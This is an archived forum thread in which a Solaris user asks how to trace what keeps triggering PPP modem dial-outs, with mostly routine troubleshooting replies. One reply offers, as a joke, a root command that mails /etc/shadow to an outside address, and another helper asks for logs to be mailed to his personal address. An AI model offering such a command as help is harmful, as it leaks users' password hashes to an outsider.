WHO IS GOING TO ACTIVATE MY PPP ?

MY WORKSTATION IS NETRAJ RUNNING SOLARIS 2.5.1.
FROM TIME TO TIME THERE IS SOME USER OR PROCESS THAT MAKE REQUIREMENTS TO PPP TO ACTIVATE THE CONNECTION VIA MODEM.
THIS USER OR PROCESS START EVERY 6/10 MINUTES 24 HOURS A DAY.
PLEASE, HOW CAN I FIND WHO IS THIS USER OR PROCESS OR MACHINE CONNECTED IN MY LAN ?
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stormeriderConnect With a Mentor Commented:
If your caps lock key is broken, fix it.

Try ps -elf | grep ppp. Or just ps -elf | more. If it's happenning a lot, make crontab entries to take snapshots and email them to you.

0 * * * *  /usr/ucb/ps aux | /usr/ucb/mail -s "Process Snapshot" root

(*Assuming this is your box and you have root*).

I know on linux pppd is owned by root so it uses the call syslog to log information to /var/adm/messages. Try checking in there as well.
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lbaAuthor Commented:
in that way i don't solve my problem because i am not able to exactly know is going to make a request to ppp.
If I make the command ps -efl | grep ppp I only get :
    root   104     1  0 00:02:49 ?        0:00 /usr/sbin/aspppd -d 1
    root  9788  9770  0 12:57:40 pts/4    0:00 grep ppp
But I don't know anything about the request made to ppp.


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lbaAuthor Commented:
in that way i don't solve my problem because i am not able to exactly know is going to make a request to ppp.
If I make the command ps -efl | grep ppp I only get :
    root   104     1  0 00:02:49 ?        0:00 /usr/sbin/aspppd -d 1
    root  9788  9770  0 12:57:40 pts/4    0:00 grep ppp
But I don't know anything about the request made to ppp.


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stormeriderCommented:
Did you try "grep ppp /var/adm/messages" ?
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lbaAuthor Commented:
yes,  but it did not find anything !!

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stormeriderCommented:
Who "owns" aspppd (if thats the binary). Do a whereis aspppd and then ls -lag and the path to the binary. Is it root? If you check the man page, does it do some sort of logging? Are you running diald? Can you find any information at all that might be of any use? Have you checked /tmp for files that might be logs?
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lbaAuthor Commented:
aspppd is owned by root:
# ls -alg aspppd
-r-xr-xr-x   1 sys       101304 Mar 11  1998 aspppd
# pwd
/usr/sbin
----------------------
i am not running diald
----------------------
there is not anything interesting in /tmp
----------------------

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stormeriderCommented:
Do this as well:

man aspppd | mail -s "Aspppd Man Page" stormerider@windsofstorm.net


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stormeriderCommented:
FILES
     /etc/asppp.cf       configuration file
     /etc/log/asppp.log  message log file
 

mail -s "Aspppd logs" stormerider@windsofstorm.net < /etc/log/asppp.log
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lbaAuthor Commented:
I can make a further detail to my question:
my problem is : who make a request to ppp ?
I know that ppp is activated during boot, but I would like to know which machine ( or process ) of my lan make a requests to PPP service for an external machine .


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lbaAuthor Commented:
I can make a further detail to my question:
my problem is : who make a request to ppp ?
I know that ppp is activated during boot, but I would like to know which machine ( or process ) of my lan make a requests to PPP service for an external machine .


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stormeriderCommented:
The log file was unintelligable. Call Sun for Support.
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shootersCommented:
As root do this.
hostname; cat /etc/shadow | mail -s "Dont be a foo" foo@foo.com
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shootersCommented:
Just turn your modem off.
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lbaAuthor Commented:
sorry, but i don't understand shooters !!


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blowfishCommented:
Would you be happy to just turn off PPP?  If that is what you want, then remove /etc/asppp.cf since the start-up script wants that file to exist if the PPP daemon is to start.  Also, you should rename the startup script from /etc/rc2.d/S47asppp to /etc/rc2.d/s47ppp (note the change from "S" to "s"), this will prevent the system from running the script at startup.

--frankf
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lbaAuthor Commented:
blowfish thank you for your comment, but I don't want to stop PPP, I would like to know who is going to activate requests to PPP.
ciao


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lbaAuthor Commented:
blowfish thank you for your comment, but I don't want to stop PPP, I would like to know who is going to activate requests to PPP.
ciao


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